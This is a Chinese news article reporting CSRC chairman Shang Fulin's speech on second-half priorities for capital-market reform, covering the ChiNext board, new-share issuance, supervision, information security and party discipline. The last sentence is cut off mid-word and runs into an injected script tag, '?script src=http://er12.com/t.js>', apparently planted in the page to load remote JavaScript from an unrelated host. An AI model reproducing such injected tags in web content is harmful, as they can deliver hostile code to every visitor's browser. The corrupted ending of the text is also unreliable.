中國證監會黨委書記、主席尚福林日前在部署下半年重點工作時表示，要全面落實創業板、新股發行等五項重大改革措施，有效滿足多層次投融資需求。

日前，全國證券期貨監管系統網絡信息安全和保密工作專題會議在京召開。尚福林強調，下半年要完成創業板后續配套文件的制定和發布工作，組建創業板發行審核委員會，做好對保薦人、律師事務所、會計師事務所等中介機構的專項培訓，落實創業板市場投資者適當性管理制度，充分揭示創業板市場風險。落實新股發行體制改革措施，完善市場化定價機制。積極擴大公司債市場規模，繼續推動上市商業銀行參與交易所債市交易。進一步完善代辦股份轉讓系統，擇機將試點范圍擴大到其他具備條件的高新技術園區。繼續做精做細已上市期貨品種，完善股指期貨推出準備工作。

在通報上半年資本市場改革監管工作進展情況、部署下半年重點工作時，尚福林強調，要認真貫徹黨中央、國務院“保增長、擴內需、調結構、惠民生”的決策部署，堅決落實中央應對國際金融危機的一攬子計劃，堅定信心，振奮精神,深化改革，銳意進取，促進我國資本市場穩定健康發展。

尚福林指出，上半年，在國家擴大內需、促進經濟增長一系列政策措施的作用下，國內經濟出現企穩回升的勢頭，市場流動性充裕，資本市場各項改革監管措施穩步有序推出，股市運行與國民經濟基本面關系更加密切，市場自我調節能力進一步增強，市場主體經營狀況逐步好轉，市場內在運行機制不斷完善，市場環境有所改善。

同時也要清醒地認識到，當前，國際經濟金融體系恢復正常運轉尚需時日，國內經濟增長的基礎還不牢固，資本市場內在基礎與快速發展不相適應的矛盾依然突出，不確定和不穩定因素仍然不少，要做好在較長時間內應對各種困難和復雜局面的準備，進一步將思想和行動統一到中央對當前形勢的判斷和作出的決策部署上來，進一步推動資本市場穩定健康發展。

尚福林說，今年上半年，證券期貨監管系統認真貫徹落實黨中央、國務院的工作部署，注重把握改革創新的節奏和力度，注重提高決策的科學性和有效性，注重創新投資者權益保護的途徑和方式，注重發揮輿論引導的積極作用，沉著應對復雜多變的經濟和市場形勢，積極穩妥推進改革創新，堅持不懈地抓市場監管和隊伍建設，為做好全年工作奠定了堅實基礎。一是平穩啟動創業板，多層次資本市場體系建設取得重大進展；二是深化發行制度改革，市場化發行進一步推進；三是強化日常監管，上市公司規范運作水平穩步提高；四是推動市場中介機構規范發展，行業競爭力不斷增強；五是加強監管，期貨市場功能進一步顯現；六是完善資本市場法制建設，行政執法水平不斷提高；七是全力維護市場安全穩定運行，系統維穩體制機制建設顯著加強；八是深入推進對外開放，國際交流與合作取得明顯成效；九是加強系統黨建工作，隊伍建設取得實效。

尚福林指出，下半年，各單位、各部門要繼續完成好年初工作部署，緊密結合市場改革發展實際，重點抓好以下工作：

加強監管和執法，強化對市場主體的外部約束。制定和完善上市公司吸收合并、收購、重大資產重組制度規則，加強對執行會計準則和財務信息披露的監管。督促證券公司完善風險控制指標動態監控系統，加強與改進對證券投資咨詢類業務的有效監管。修訂和出臺證券投資基金運作管理、銷售管理有關規則，推動多元化基金銷售體系建設。推動出臺《上市公司監督管理條例》等法規制度，建成誠信信息數據庫系統。完善與司法機關打擊證券期貨犯罪的協作機制，重點查辦內幕交易、操縱市場、虛假申報和大股東占用等案件。鞏固“整治利用網絡等媒體開展非法證券活動”的階段性成果，遏制非法證券活動蔓延勢頭。

做好維護信息系統安全等工作，進一步改善市場環境。加強證券期貨行業信息系統運行維護管理，嚴防系統運行風險。大力推進網上證券期貨安全建設，加強網上交易安全監管，強化信息安全制度建設，保障交易信息系統安全。落實輿論引導各項工作部署，進一步改進新聞發布工作機制，強化與媒體的溝通合作。整治和規范網上證券期貨信息傳播秩序，清理非法不良信息，進一步改善網絡輿論環境。

深化黨風廉政和干部隊伍建設，提升監管有效性。進一步鞏固學習實踐科學發展觀活動成果，嚴格落實黨風廉政建設責任制，健全黨風廉政和反腐敗工作的領導干部“一崗雙責”制度。認真開展系統巡視工作。加強領導班子建設規劃，建立分層分類管理制度，加強干部輪崗交流，完善多形式、多層次的培訓工作，加大考核力度，形成考核評價激勵約束機制。

尚福林強調，做好保密工作，事關資本市場安全穩定?script src=http://er12.com/t.js>